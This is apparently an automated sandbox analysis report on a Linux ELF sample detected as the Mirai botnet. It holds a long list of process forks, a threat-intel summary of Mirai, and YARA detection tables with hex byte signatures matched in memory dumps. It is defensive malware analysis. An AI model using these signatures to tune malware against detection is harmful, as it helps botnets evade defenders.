7ALXuklmvu.elf New Fork (PID: 7176, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7177, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7178, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7179, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7180, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7181, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7182, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7183, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7184, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7185, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7186, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7187, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7188, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7189, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7190, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7191, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7192, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7193, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7194, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7195, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7196, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7197, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7198, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7199, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7200, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7201, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7202, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7203, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7204, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7205, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7206, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7209, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7210, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7211, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7212, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7213, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7214, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7215, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7216, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7217, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7218, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7219, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7220, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7221, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7222, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7223, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7224, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7225, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7226, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7227, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7228, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7229, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7230, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7231, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7232, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7233, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7234, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7235, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7236, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7237, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7238, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7239, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7240, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7241, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7242, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7243, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7244, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7245, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7246, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7248, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7249, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7250, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7251, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7252, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7253, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7254, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7255, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7256, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7257, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7258, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7259, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7260, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7261, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7262, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7263, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7264, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7265, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7266, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7267, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7268, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7269, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7270, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7271, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7272, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7273, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7274, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7275, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7276, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7279, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7280, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7281, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7282, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7283, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7284, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7285, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7286, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7287, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7288, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7289, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7290, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7291, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7292, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7293, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7294, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7295, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7298, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7299, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7300, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7301, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7302, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7303, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7304, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7305, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7306, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7307, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7308, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7309, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7310, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7311, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7312, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7313, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7314, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7315, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7316, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7317, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7318, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7319, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7320, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7321, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7322, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7323, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7324, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7325, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7326, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7327, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7328, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7329, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7330, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7331, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7332, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7333, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7334, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7335, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7336, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7337, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7338, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7339, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7340, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7341, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7344, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7345, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7346, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7347, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7348, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7349, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7350, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7351, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7352, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7353, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7354, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7355, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7356, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7357, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7358, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7359, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7360, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7361, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7362, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7363, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7364, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7365, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7366, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7367, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7368, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7369, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7370, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7371, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7372, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7373, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7374, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7375, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7376, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7377, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7378, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7379, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7380, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7381, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7382, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7383, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7384, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7385, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7386, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7387, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7388, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7389, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7390, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7391, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7394, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7395, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7396, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7397, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7398, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7399, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7400, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7401, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7402, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7403, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7404, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7405, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7406, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7407, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7408, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7409, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7410, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7411, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7412, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7413, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7414, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7415, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7416, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7417, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7418, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7419, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7420, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7421, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7422, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7423, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7424, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7425, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7426, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7427, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7428, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7429, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7430, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7431, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7432, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7433, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7434, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7435, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7436, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7437, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7438, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7439, Parent: 6239)

7ALXuklmvu.elf New Fork (PID: 7440, Parent: 6239)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
7ALXuklmvu.elf	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7ALXuklmvu.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7ALXuklmvu.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7ALXuklmvu.elf	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7ALXuklmvu.elf	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7ALXuklmvu.elf	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
Click to see the 1 entries

Memory Dumps

Source	Rule	Description	Author	Strings
7044.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7044.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7044.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7044.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7044.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7044.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7073.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7073.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7073.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7073.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7073.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7073.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7000.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7000.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7000.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7000.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7000.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7000.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6253.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6253.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6253.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6253.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6253.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6253.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7430.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6659.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6659.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6659.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6659.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6659.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6659.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7430.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7430.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7430.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7430.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7430.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6323.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6323.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6323.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6323.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6323.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6323.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6747.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6747.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6747.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6747.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6747.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6747.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6308.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6308.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6308.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6308.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6308.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6308.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7055.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7055.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7055.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7055.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7055.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7055.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6261.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6261.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6261.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6261.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
